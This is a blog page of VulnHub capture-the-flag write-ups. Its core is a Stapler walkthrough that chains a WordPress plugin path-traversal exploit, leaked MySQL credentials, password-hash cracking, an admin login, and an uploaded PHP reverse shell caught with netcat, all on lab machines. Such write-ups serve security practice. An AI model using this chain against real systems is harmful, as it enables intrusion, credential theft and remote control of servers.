Browse Tag

vm

Login page running on port 80

Write-up for Gemini Inc: 1

This is a write-up on the Gemini Inc: 1, a VulnHub machine designed to be vulnerable. This write-up aims to guide readers through the steps to identifying vulnerable services running on the server and ways of exploiting them to gain unauthorised privileged access to the server.

Disclaimer: this write-up is meant for security enthusiast to set up and hacks the machine locally, in a safe environment while still having fun and get to practice. VulnHub provides users with many vulnerable machines for practice, similar to the ones in the OSCP course lab (read about my OSCP journey).

Word of Advice

As always, my advice for you is that you dirty your hands with the setup and try to hack the machines first before reading through my write-up, that way, you will be able to maximise your learning and be able to enhance your thought process towards hacking and compromising a vulnerable machine.

Setting Up

  1. Download the Virtual Machine (VM) from VulnHub (link)
  2. Start the VM and select “I copied it” and it should start smoothly. Note that the machine was preconfigured to obtain an IP address automatically using DHCP so that is no additional configuration required.
  3. Please note that for this write-up, I have explicitly switched my “Network Adaptor” options to “NAT”. You may choose to also do so or remain with the default settings (Bridge), it should not differ much in terms of the steps in the write-up.

Host discovery

Use netdiscover to identify the hosts in my network:

netdiscover -r 192.168.117.0/24
The output from running netdiscover
The output from running netdiscover

As shown in the screenshot, it was pretty straight-forward that my target machine is located at the IP address of 192.168.117.159.

Service discovery

Use nmap to identify the list of services running on the target machine:

nmap -sS -Pn -T4 -p- 192.168.117.159
The output from running nmap on all ports
The output from running nmap on all ports

As shown, only port 22 and 80 were identified to be running.

Now, use the nmap scripts to perform further information gathering:

nmap -O -A -Pn -T4 -p22,80 192.168.117.159

The following information was obtained:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
| 2048 e9:e3:89:b6:3b:ea:e4:13:c8:ac:38:44:d6:ea:c0:e4 (RSA)
| 256 8c:19:77:fd:36:72:7e:34:46:c4:29:2d:2a:ac:15:98 (ECDSA)
|_ 256 cc:2b:4c:ce:d7:61:73:d7:d8:7e:24:56:74:54:99:88 (EdDSA)
80/tcp open http Apache httpd 2.4.25
| http-ls: Volume /
| SIZE TIME FILENAME
| - 2018-01-07 08:35 test2/
|_
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Index of /
MAC Address: 00:0C:29:05:4A:83 (VMware)

From the information, it was already possible to determine that very likely, port 80 is the entry point to compromising the machine. But as security folks, we do not assume. Now, let’s move on to see if we can compromise the machine.

Keep Reading

Write-up for Stapler: 1 – A Different Path

featured-stapler

This post is an addendum to my recent article on the Write-up for Stapler: 1. In the original post, I gained a low privilege shell using credentials which I obtained through SMB enumeration.

Remember I mentioned that I have not looked into port 3306 and 12380 yet and will look into them when I have some time? And I did — over the last weekend 🙂

Once again, the short intro: Stapler: 1 is a vulnerable machine created by g0tmi1k and downloadable for free on VulnHub. It is a very good practice machine if you are pursuing the OSCP certification. (read about my OSCP journey).

Enumeration on port 3306

The following was discovered through the initial nmap scan:

3306/tcp  open  mysql       MySQL 5.7.12-0ubuntu1

Let’s try to connect to the service using netcat:

nc 192.168.117.136 3306
S
5.7.12-0ubuntu1
                -![j’&���IQ0!Xn^IWemysql_native_password

It looks weird though. Let’s leave it at where it is for now.

Enumeration on port 12380

This could potentially be one of the most interesting lead on the list since it is a custom HTTP server hosted on a non-common port.

12380/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))

stapler-http-01.png

This is pretty interesting. Since the website is currently still unfinished, it should have left some bad implementation somewhere.

Checked the page source, nothing interesting except for the message that mentioned the name of the HR person, Zoe:

<!– A message from the head of our HR department, Zoe, if you are looking at this, we want to hire you! –>

Since I already got all the potential usernames through SMB service, this piece of name is as useful, but definitely, note it down and move on.

Let’s run dirb on this web application:

—————–
DIRB v2.22
By The Dark Raver
—————–
START_TIME: Sun Dec 17 18:12:10 2017
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
—————–
GENERATED WORDS: 4612
—- Scanning URL: http://192.168.117.136:12380/ —-
—————–
END_TIME: Sun Dec 17 18:14:27 2017
DOWNLOADED: 4612 – FOUND: 0

Surprisingly, there was nothing found.

Now, let’s run nikto on it as well:

<REDACTED>
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ Entry ‘/admin112233/’ in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry ‘/blogblog/’ in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ “robots.txt” contains 2 entries which should be manually viewed.
+ Hostname ‘192.168.117.136’ does not match certificate’s names: Red.Initech
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
<REDACTED>

Looks like we found something interesting now 🙂

stapler-nikto.png

The scan result is very useful. Now it is time to manually verify these sites:

  • /admin112233
  • /blogblog
  • /phpmyadmin

Note: we need to visit these websites via HTTPS protocol, or you will get redirected and will not be able to see the content 🙂

​​​robots.txt is showing some interesting results! —  https://192.168.117.136:12380/robots.txt

stapler-https-1

PhpMyAdmin login console is exposed! — https://192.168.117.136:12380/phpmyadmin/

stapler-https-2

So, apparently /admin112233 is meant to educate people and let them know about the possibility of being lured into a honeypot (such as this page) and get “hacked back” in return. Nice one! — https://192.168.117.136:12380/admin112233/

stapler-https-3

WordPress blog! This definitely the one which we saw earlier in the SMB share drive’s backup folder — https://192.168.117.136:12380/blogblog/

stapler-https-4

After checking out the blog posts and taking the hints, let’s run wpscan to check out the installed plugins:

wpscan –url https://192.168.117.136:12380/blogblog/ –disable-tls-checks
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | ‘_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|
        WordPress Security Scanner by the WPScan Team
                       Version 2.9.2
          Sponsored by Sucuri – https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________
[+] Started: Sun Dec 17 18:36:58 2017
[!] The WordPress ‘https://192.168.117.136:12380/blogblog/readme.html’; file exists exposing a version number
[+] Interesting header: DAVE: Soemthing doesn’t look right here
[+] Interesting header: SERVER: Apache/2.4.18 (Ubuntu)
[+] XML-RPC Interface available under: https://192.168.117.136:12380/blogblog/xmlrpc.php
[!] Upload directory has directory listing enabled: https://192.168.117.136:12380/blogblog/wp-content/uploads/
[!] Includes directory has directory listing enabled: https://192.168.117.136:12380/blogblog/wp-includes/
[+] WordPress version 4.2.1 (Released on 2015-04-27) identified from advanced fingerprinting, meta generator, readme, links opml, stylesheets numbers
[!] 49 vulnerabilities identified from the version number
[!] Title: WordPress 4.1-4.2.1 – Unauthenticated Genericons Cross-Site Scripting (XSS)
[i] Fixed in: 4.2.2
[!] Title: WordPress <= 4.2.2 – Authenticated Stored Cross-Site Scripting (XSS)
[i] Fixed in: 4.2.3
[!] Title: WordPress <= 4.2.3 – wp_untrash_post_comments SQL Injection
[i] Fixed in: 4.2.4
[!] Title: WordPress <= 4.2.3 – Timing Side Channel Attack
[i] Fixed in: 4.2.4
[!] Title: WordPress <= 4.2.3 – Widgets Title Cross-Site Scripting (XSS)
[i] Fixed in: 4.2.4
[!] Title: WordPress <= 4.2.3 – Nav Menu Title Cross-Site Scripting (XSS)
[i] Fixed in: 4.2.4
[!] Title: WordPress <= 4.2.3 – Legacy Theme Preview Cross-Site Scripting (XSS)
[i] Fixed in: 4.2.4
[!] Title: WordPress <= 4.3 – Authenticated Shortcode Tags Cross-Site Scripting (XSS)
[i] Fixed in: 4.2.5
[!] Title: WordPress <= 4.3 – User List Table Cross-Site Scripting (XSS)
[i] Fixed in: 4.2.5
[!] Title: WordPress <= 4.3 – Publish Post & Mark as Sticky Permission Issue
[i] Fixed in: 4.2.5
[!] Title: WordPress  3.7-4.4 – Authenticated Cross-Site Scripting (XSS)
[i] Fixed in: 4.2.6
[!] Title: WordPress 3.7-4.4.1 – Local URIs Server Side Request Forgery (SSRF)
[i] Fixed in: 4.2.7
[!] Title: WordPress 3.7-4.4.1 – Open Redirect
[i] Fixed in: 4.2.7
[!] Title: WordPress <= 4.4.2 – SSRF Bypass using Octal & Hexedecimal IP addresses
[i] Fixed in: 4.5
[!] Title: WordPress <= 4.4.2 – Reflected XSS in Network Settings
[i] Fixed in: 4.5
[!] Title: WordPress <= 4.4.2 – Script Compression Option CSRF
[i] Fixed in: 4.5
[!] Title: WordPress 4.2-4.5.1 – MediaElement.js Reflected Cross-Site Scripting (XSS)
[i] Fixed in: 4.5.2
[!] Title: WordPress <= 4.5.1 – Pupload Same Origin Method Execution (SOME)
[i] Fixed in: 4.2.8
[!] Title: WordPress 4.2-4.5.2 – Authenticated Attachment Name Stored XSS
[i] Fixed in: 4.2.9
[!] Title: WordPress 3.6-4.5.2 – Authenticated Revision History Information Disclosure
[i] Fixed in: 4.2.9
[!] Title: WordPress 2.6.0-4.5.2 – Unauthorized Category Removal from Post
[i] Fixed in: 4.2.9
[!] Title: WordPress 2.5-4.6 – Authenticated Stored Cross-Site Scripting via Image Filename
[i] Fixed in: 4.2.10
[!] Title: WordPress 2.8-4.6 – Path Traversal in Upgrade Package Uploader
[i] Fixed in: 4.2.10
[!] Title: WordPress 2.9-4.7 – Authenticated Cross-Site scripting (XSS) in update-core.php
[i] Fixed in: 4.2.11
[!] Title: WordPress 3.4-4.7 – Stored Cross-Site Scripting (XSS) via Theme Name fallback
[i] Fixed in: 4.2.11
[!] Title: WordPress <= 4.7 – Post via Email Checks mail.example.com by Default
[i] Fixed in: 4.2.11
[!] Title: WordPress 2.8-4.7 – Accessibility Mode Cross-Site Request Forgery (CSRF)
[i] Fixed in: 4.2.11
[!] Title: WordPress 3.0-4.7 – Cryptographically Weak Pseudo-Random Number Generator (PRNG)
[i] Fixed in: 4.2.11
[!] Title: WordPress 4.2.0-4.7.1 – Press This UI Available to Unauthorised Users
[i] Fixed in: 4.2.12
[!] Title: WordPress 3.5-4.7.1 – WP_Query SQL Injection
[i] Fixed in: 4.2.12
[!] Title: WordPress 3.6.0-4.7.2 – Authenticated Cross-Site Scripting (XSS) via Media File Metadata
[i] Fixed in: 4.2.13
[!] Title: WordPress 2.8.1-4.7.2 – Control Characters in Redirect URL Validation
[i] Fixed in: 4.2.13
[!] Title: WordPress  4.0-4.7.2 – Authenticated Stored Cross-Site Scripting (XSS) in YouTube URL Embeds
[i] Fixed in: 4.2.13
[!] Title: WordPress 4.2-4.7.2 – Press This CSRF DoS
[i] Fixed in: 4.2.13
[!] Title: WordPress 2.3-4.8.3 – Host Header Injection in Password Reset
[!] Title: WordPress 2.7.0-4.7.4 – Insufficient Redirect Validation
[i] Fixed in: 4.2.15
[!] Title: WordPress 2.5.0-4.7.4 – Post Meta Data Values Improper Handling in XML-RPC
[i] Fixed in: 4.2.15
[!] Title: WordPress 3.4.0-4.7.4 – XML-RPC Post Meta Data Lack of Capability Checks
[i] Fixed in: 4.2.15
[!] Title: WordPress 2.5.0-4.7.4 – Filesystem Credentials Dialog CSRF
[i] Fixed in: 4.2.15
[!] Title: WordPress 3.3-4.7.4 – Large File Upload Error XSS
[i] Fixed in: 4.2.15
[!] Title: WordPress 3.4.0-4.7.4 – Customizer XSS & CSRF
[i] Fixed in: 4.2.15
[!] Title: WordPress 2.3.0-4.8.1 – $wpdb->prepare() potential SQL Injection
[i] Fixed in: 4.2.16
[!] Title: WordPress 2.3.0-4.7.4 – Authenticated SQL injection
[i] Fixed in: 4.7.5
[!] Title: WordPress 2.9.2-4.8.1 – Open Redirect
[i] Fixed in: 4.2.16
[!] Title: WordPress 3.0-4.8.1 – Path Traversal in Unzipping
[i] Fixed in: 4.2.16
[!] Title: WordPress <= 4.8.2 – $wpdb->prepare() Weakness
[i] Fixed in: 4.2.17
[!] Title: WordPress 2.8.6-4.9 – Authenticated JavaScript File Upload
[i] Fixed in: 4.2.18
[!] Title: WordPress 1.5.0-4.9 – RSS and Atom Feed Escaping
[i] Fixed in: 4.2.18
[!] Title: WordPress 3.7-4.9 – ‘newbloguser’ Key Weak Hashing
[i] Fixed in: 4.2.18
[+] WordPress theme in use: bhost – v1.2.9
[+] Name: bhost – v1.2.9
[!] The version is out of date, the latest version is 1.3.9
|  Theme Name: BHost
|  Theme URI: Author: Masum Billah
|  Description: Bhost is a nice , clean , beautifull, Responsive and modern design free WordPress Theme. This the…
|  Author: Masum Billah
|  Author URI: http://getmasum.net/
[+] Enumerating plugins from passive detection …
[+] No plugins found

Noticed anything strange? Yes, while there were 49 vulnerabilities identified in total, the output says “No plugins found”. How is that possible? The blog posts already stated that they have installed some new plugins!

Truth to be told, this is the ideal example of what it means when people tell you not to blindly rely on tools.

Let’s specifically run only the plugins enumeration function:

wpscan –url https://192.168.117.136:12380/blogblog/ –disable-tls-checks –enumerate p
<REDACTED>
[+] Enumerating installed plugins (only ones marked as popular) …
   Time: 00:00:06 <=========================> (1411 / 1411) 100.00% Time: 00:00:06
[+] We found 2 plugins:
[+] Name: akismet
|  Latest version: 4.0.1
[!] We could not determine a version so all vulnerabilities are printed out
[!] Title: Akismet 2.5.0-3.1.4 – Unauthenticated Stored Cross-Site Scripting (XSS)
[i] Fixed in: 3.1.5
[+] Name: shortcode-ui – v0.6.2
[!] The version is out of date, the latest version is 0.7.3

2 plugins found! This looks much better. What about users?

wpscan –url https://192.168.117.136:12380/blogblog/ –disable-tls-checks –enumerate u
[+] Enumerating usernames …
[+] Identified the following 10 user/s:
    +—-+———+—————–+
    | Id | Login   | Name            |
    +—-+———+—————–+
    | 1  | john    | John Smith      |
    | 2  | elly    | Elly Jones      |
    | 3  | peter   | Peter Parker    |
    | 4  | barry   | Barry Atkins    |
    | 5  | heather | Heather Neville |
    | 6  | garry   | garry           |
    | 7  | harry   | harry           |
    | 8  | scott   | scott           |
    | 9  | kathy   | kathy           |
    | 10 | tim     | tim             |
    +—-+———+—————–+

A better visualisation of the table:

stapler-wp.png

Use the following command to do a very thorough plugin scan – it may take some time — it took me around 12 minutes to finish the scan. But the result is worth the wait!

wpscan –url https://192.168.117.136:12380/blogblog/ –disable-tls-checks –enumerate ap
[+] Enumerating all plugins (may take a while and use a lot of system resources) …
   Time: 00:11:58 <=======================> (71551 / 71551) 100.00% Time: 00:11:58
[+] We found 4 plugins:
[+] Name: advanced-video-embed-embed-videos-or-playlists – v1.0
|  Latest version: 1.0 (up to date)
[+] Name: akismet
|  Latest version: 4.0.1
[!] We could not determine a version so all vulnerabilities are printed out
[!] Title: Akismet 2.5.0-3.1.4 – Unauthenticated Stored Cross-Site Scripting (XSS)
[i] Fixed in: 3.1.5
[+] Name: shortcode-ui – v0.6.2
[!] The version is out of date, the latest version is 0.7.3
[+] Name: two-factor
|  Latest version: 0.1-dev-20171206

Nice, there were 4 vulnerable plugins found!

Now, we check whether there is any public exploit available on exploit-db.com

stapler-exploitdb.png

Great! Next, we copy the file to our local directory for analysis.

cp /usr/share/exploitdb/platforms/php/webapps/39646.py .
ls -l 39646.py
-rwxr-xr-x 1 root root 1772 May 14 22:58 39646.py

After a quick look at the exploit, it is clear that it will basically print the content of wp-config.php, which is the default configuration file of WordPress).

Not many modification were required, just insert the correct URL:

url = “https://192.168.117.136:12380/blogblog/” # insert url to wordpress

However, running the exploit would run into error:

python 39646.py
Traceback (most recent call last):
  File “39646.py”, line 41, in <module>
    objHtml = urllib2.urlopen(url + ‘/wp-admin/admin-ajax.php?action=ave_publishPost&title=’ + str(randomID) + ‘&short=rnd&term=rnd&thumb=../wp-config.php’)
  File “/usr/lib/python2.7/urllib2.py”, line 154, in urlopen
    return opener.open(url, data, timeout)
  File “/usr/lib/python2.7/urllib2.py”, line 429, in open
    response = self._open(req, data)
  File “/usr/lib/python2.7/urllib2.py”, line 447, in _open
    ‘_open’, req)
  File “/usr/lib/python2.7/urllib2.py”, line 407, in _call_chain
    result = func(*args)
  File “/usr/lib/python2.7/urllib2.py”, line 1241, in https_open
    context=self._context)
  File “/usr/lib/python2.7/urllib2.py”, line 1198, in do_open
    raise URLError(err)
urllib2.URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:590)>

After some quick research, I have managed to find a simple patch to this issue on a Stack Overflow thread: http://stackoverflow.com/questions/27835619/ssl-certificate-verify-failed-error

Simply make a small modification to add the following:

import ssl
ssl._create_default_https_context = ssl._create_unverified_context

The following is the full modified exploit that you can run, just need to replace your own WordPress instance on line 40:

https://gist.github.com/kongwenbin/8e89f553641bd76b1ee4bb93460fbb2c

Let’s run the exploit again:

python 39646.py
wget –no-check-certificate https://192.168.117.136:12380/blogblog/wp-content/uploads/1527501269.jpeg
–2017-05-14 23:18:38–  https://192.168.117.136:12380/blogblog/wp-content/uploads/1527501269.jpeg
Connecting to 192.168.1.30:12380… connected.
WARNING: The certificate of ‘192.168.1.30’ is not trusted.
WARNING: The certificate of ‘192.168.1.30’ hasn’t got a known issuer.
The certificate’s owner does not match hostname ‘192.168.1.30’
HTTP request sent, awaiting response… 200 OK
Length: 3042 (3.0K) [image/jpeg]
Saving to: ‘1527501269.jpeg’
1527501269.jpeg                                   100%[============================================================================================================>]   2.97K  –.-KB/s    in 0s
2017-05-14 23:18:38 (78.4 MB/s) – ‘1527501269.jpeg’ saved [3042/3042]
Now, we check the JPG file that we have downloaded using the exploit:
ls -la 1527501269.jpeg
-rw-r–r– 1 root root 3042 May 14 23:15 1527501269.jpeg

Now we check the type of the JPG file using file:

file 1527501269.jpeg
1527501269.jpeg: PHP script, ASCII text

PHP script! Cool. Now we read its content:

cat 1527501269.jpeg
<?php
/**
* The base configurations of the WordPress.
*
* This file has the following configurations: MySQL settings, Table Prefix,
* Secret Keys, and ABSPATH. You can find more information by visiting
* Codex page. You can get the MySQL settings from your web host.
*
* This file is used by the wp-config.php creation script during the
* installation. You don’t have to use the web site, you can just copy this file
* to “wp-config.php” and fill in the values.
*
* @package WordPress
*/
// ** MySQL settings – You can get this info from your web host ** //
/** The name of the database for WordPress */
define(‘DB_NAME’, ‘wordpress’);
/** MySQL database username */
define(‘DB_USER’, ‘root’);
/** MySQL database password */
define(‘DB_PASSWORD’, ‘plbkac’);
/** MySQL hostname */
define(‘DB_HOST’, ‘localhost’);
/** Database Charset to use in creating database tables. */
define(‘DB_CHARSET’, ‘utf8mb4’);
/** The Database Collate type. Don’t change this if in doubt. */
define(‘DB_COLLATE’, ”);
/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/
define(‘AUTH_KEY’,         ‘V 5p=[.Vds8~SX;>t)++Tt57U6{Xe`T|oW^eQ!mHr }]>9RX07W<sZ,I~`6Y5-T:’);
define(‘SECURE_AUTH_KEY’,  ‘vJZq=p.Ug,]:<-P#A|k-+:;JzV8*pZ|K/U*J][Nyvs+}&!/#>4#K7eFP5-av`n)2’);
define(‘LOGGED_IN_KEY’,    ‘ql-Vfg[?v6{ZR*+O)|Hf OpPWYfKX0Jmpl8zU<cr.wm?|jqZH:YMv;[email protected]:4o’);
define(‘NONCE_KEY’,        ‘j|V8J.~n}R2,mlU%?C8o2[~6Vo1{Gt+4mykbYH;HDAIj9TE?QQI!VW]]D`3i73xO’);
define(‘AUTH_SALT’,        ‘I{gDlDs`[email protected]+/AdyzYw4%+<WsO-LDBHT}>}!||[email protected]={p1?yMKYec*OI$’);
define(‘SECURE_AUTH_SALT’, ‘.HJmx^zb];5P}hM-uJ%^+9=0SBQEh[[*>#z+p>nVi10`XOUq (Zml~op3SG4OG_D’);
define(‘LOGGED_IN_SALT’,   ‘[Zz!)%R7/w37+:9L#.=hL:cyeMM2kTx&_nP4{D}n=y=FQt%zJw>c[a+;ppCzIkt;’);
define(‘NONCE_SALT’,       ‘tb(}BfgB7l!rhDVm{eK6^MSN-|o]S]]axl4TE_y+Fi5I-RxN/9xeTsK]#ga_9:hJ’);
/**#@-*/
/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each a unique
* prefix. Only numbers, letters, and underscores please!
*/
$table_prefix  = ‘wp_’;
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*/
define(‘WP_DEBUG’, false);
/* That’s all, stop editing! Happy blogging. */
/** Absolute path to the WordPress directory. */
if ( !defined(‘ABSPATH’) )
define(‘ABSPATH’, dirname(__FILE__) . ‘/’);
/** Sets up WordPress vars and included files. */
require_once(ABSPATH . ‘wp-settings.php’);
define(‘WP_HTTP_BLOCK_EXTERNAL’, true);

Now we have the credentials for MySQL!

mysql -uroot -pplbkac -h 192.168.117.136:12380
Warning: Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 48
Server version: 5.7.12-0ubuntu1 (Ubuntu)
Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the current input statement.
mysql> show databases;
+——————–+
| Database           |
+——————–+
| information_schema |
| loot               |
| mysql              |
| performance_schema |
| phpmyadmin         |
| proof              |
| sys                |
| wordpress          |
+——————–+
8 rows in set (0.01 sec)
mysql> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+———————–+
| Tables_in_wordpress   |
+———————–+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+———————–+
11 rows in set (0.00 sec)

Check out the wp-users table:

Now we check the list of users stored in this table:

mysql> select user_login,user_pass from wp_users;
+————+————————————+
| user_login | user_pass                          |
+————+————————————+
| John       | $P$B7889EMq/erHIuZapMB8GEizebcIy9. |
| Elly       | $P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0 |
| Peter      | $P$BTzoYuAFiBA5ixX2njL0XcLzu67sGD0 |
| barry      | $P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0 |
| heather    | $P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10 |
| garry      | $P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1 |
| harry      | $P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0 |
| scott      | $P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1 |
| kathy      | $P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0 |
| tim        | $P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0 |
| ZOE        | $P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1 |
| Dave       | $P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy. |
| Simon      | $P$BLxdiNNRP008kOQ.jE44CjSK/7tEcz0 |
| Abby       | $P$ByZg5mTBpKiLZ5KxhhRe/uqR.48ofs. |
| Vicki      | $P$B85lqQ1Wwl2SqcPOuKDvxaSwodTY131 |
| Pam        | $P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0 |
+————+————————————+
16 rows in set (0.00 sec)
mysql> exit
Bye

Great, now we have a list of password hashes! Next is to crack the password using john:

john –show hashes.txt
John:incorrect
Elly:ylle
barry:washere
heather:passphrase
garry:football
harry:monkey
scott:cookie
kathy:coolgirl
tim:thumb
ZOE:partyqueen
Pam:0520
11 password hashes cracked, 5 left

In this case, there is no need to wait for all the password hashes to be cracked because if you understand a WordPressapplication, usually the very first record in the user table is the admin account. In this case, the first record is John and we already have his password: incorrect

Using the following credentials, I was able to login to the WordPress application as an admin user:

username: john
password: incorrect

Next, go to Plugins and upload a Web Shell, such as the very famous Pentestmonkey’s PHP reverse shell which is also available on your Kali Linux machine by default at /usr/share/webshells/php/php-reverse-shell.php

Modify the ip and port parameters on line 49 and 50 and you are good to go.

Save it as reverse.php and upload it as a new Plugin.

Now, set up a netcat listener on the local port 4444 to catch the reverse shell from the Stapler machine.

nc -nlvp 4444
listening on [any] 4444 …

Now, visit https://192.168.117.136:12380/blogblog/wp-content/uploads/reverse.php to trigger the reverse shell connection.

Observe the changes below on your host machine:

nc -lvnp 4444
listening on [any] 443 …
connect to [192.168.117.149] from (UNKNOWN) [192.168.117.136] 36962
Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux 16:08:13 up 1 day,  1:59,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             [email protected]   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)/bin/sh: 0: can’t access tty; job control turned off
$ pwd
/
$ uname -a
Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux

With this, we have successfully gained entry using an alternative path of gaining low privilege shell through exploiting a vulnerable WordPress plugin to obtain its configuration file, obtained the SQL credentials to dump user password hashes, gain access to WordPress admin user account and uploaded a reverse shell.

I hope you enjoyed reading this write-up.


If you like this post, please check out my other similar write-ups as well:

FristiLeaks v1.3

Write-up for FristiLeaks v1.3 [VulnHub]

To celebrate the end of 2017, I have decided to do a write-up on a VulnHub virtual machine (VM) like what I did for the Writeup for the Kioptrix series.

It has proved to be an effective exercise because apart from improving my writing and explanation skills, I also get to refresh the technical skills and techniques which I learnt previously while studying for my OSCP certification exams. Do read my OSCP/PWK course review if you are intending to take your OSCP certification exams in 2018!

Practice makes perfect
Practice makes perfect

As mentioned previously during my very first VulnHub write-up, the VMs on VulnHub were designed to be vulnerable, specifically created for security researchers or any security enthusiasts to conduct security testing on them. It is a good way to test your technical skills from identifying vulnerabilities when you encounter one, to crafting your own exploits or getting publicly available Proof of Concept (POC) to work.

Setting up

In this write-up, we will be working on the FristiLeaks v1.3. Before we get started, let’s manually modify the VM’s MAC address to 08:00:27:A5:A6:76 as per instructed by the author.

Steps for VMware Workstation users to modify MAC Address
Instructions for VMware Workstation users to modify MAC Address
Written instructions for VMware Workstation users:
  1. Import the OVA
  2. Click on Edit virtual machine settings
  3. Under Hardware tab, click on Network Adapter
  4. On the right section of the window, click on Advanced
  5. In the pop-out window, insert the MAC address which the VM creator has instructed.

That’s it, now you can launch the VM.

FristiLeaks v1.3
FristiLeaks v1.3

Please note that for the sake of writing this article, I have changed my VM’s Network Adapter settings to NAT instead of the default “Bridged“, but there should be no difference for you to keep up with the write-up.

Host discovery

netdiscover -r 192.168.117.0/24

Image

Looks like our target has been found to be hosted on 192.168.117.135. Do you find the MAC address familiar in some ways?

192.168.117.135 08:00:27:a5:a6:76      1      60  PCS Systemtechnik GmbH

Service Discovery 

nmap -sS -Pn -T4 -p- 192.168.117.135

Starting Nmap 7.50 ( https://nmap.org ) at 2017-12-16 22:59 +08
Nmap scan report for 192.168.117.135
Host is up (0.00038s latency).
Not shown: 65534 filtered ports
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)

Image

Enumeration – port 80

Interesting, there is only 1 open port.  Let’s scan the port 80 specifically using scripts:

nmap -A -O -p80 192.168.117.135

Starting Nmap 7.50 ( https://nmap.org ) at 2017-12-16 23:21 +08
Nmap scan report for 192.168.117.135
Host is up (0.00029s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
| http-methods:
|_  Potentially risky methods: TRACE
| http-robots.txt: 3 disallowed entries
|_/cola /sisi /beer
|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
<REDACTED>

Image

Now let’s manually check the web server running on port 80:

Image

For the sake of clarity, you may also want to verify the robots.txt disallowed entries that were identified by nmap. But trust me, nmap’s script is pretty accurate. 🙂

Image

At this point, my thought was — if this is the entry to gain access to the system, then this machine might be a little too simple. It cannot be so simple.

Image.png

As expected!! All the 3 entries have brought us to the above meme.

Since all the 3 entries were deadends, let’s run our directory buster.

dirb http://192.168.117.135

<REDACTED>
---- Scanning URL: http://192.168.117.135/ ----
+ http://192.168.117.135/cgi-bin/ (CODE:403|SIZE:210)                                 
==> DIRECTORY: http://192.168.117.135/images/
+ http://192.168.117.135/index.html (CODE:200|SIZE:703)                               
+ http://192.168.117.135/robots.txt (CODE:200|SIZE:62)                                
                                                                                
---- Entering directory: http://192.168.117.135/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

Nothing interesting found except for the directory listing of images:

Image.png

Only 2 images. Now, on second thoughts, the pink colour keep-calm image seems to be a hint, since it says,

KEEP CALM AND DRINK FRISTI

There were pages for Cola, Sisi and Beer. What about Fristi, since it is also a form of drinking beverage?

Let’s visit http://192.168.117.135/fristi/

Image.png

Wow. Just, wow. It’s actually there. There is this hidden admin portal with a very badly designed login form which has auto-complete feature being enabled in both input fields. (yeah, including the password).

Image

And there is this guy in the image that is going “Ha Ha” …

Moving on, let’s run the directory buster again.

dirb http://192.168.117.135/fristi/

<REDACTED>
---- Scanning URL: http://192.168.117.135/fristi/ ----
+ http://192.168.117.135/fristi/index.php (CODE:200|SIZE:134605)                      
==> DIRECTORY: http://192.168.117.135/fristi/uploads/                                                                                      

---- Entering directory: http://192.168.117.135/fristi/uploads/ ----
+ http://192.168.117.135/fristi/uploads/index.html (CODE:200|SIZE:4)  
<REDACTED>

We found something! BUT it looks like kind of a dead-end… at least for now.

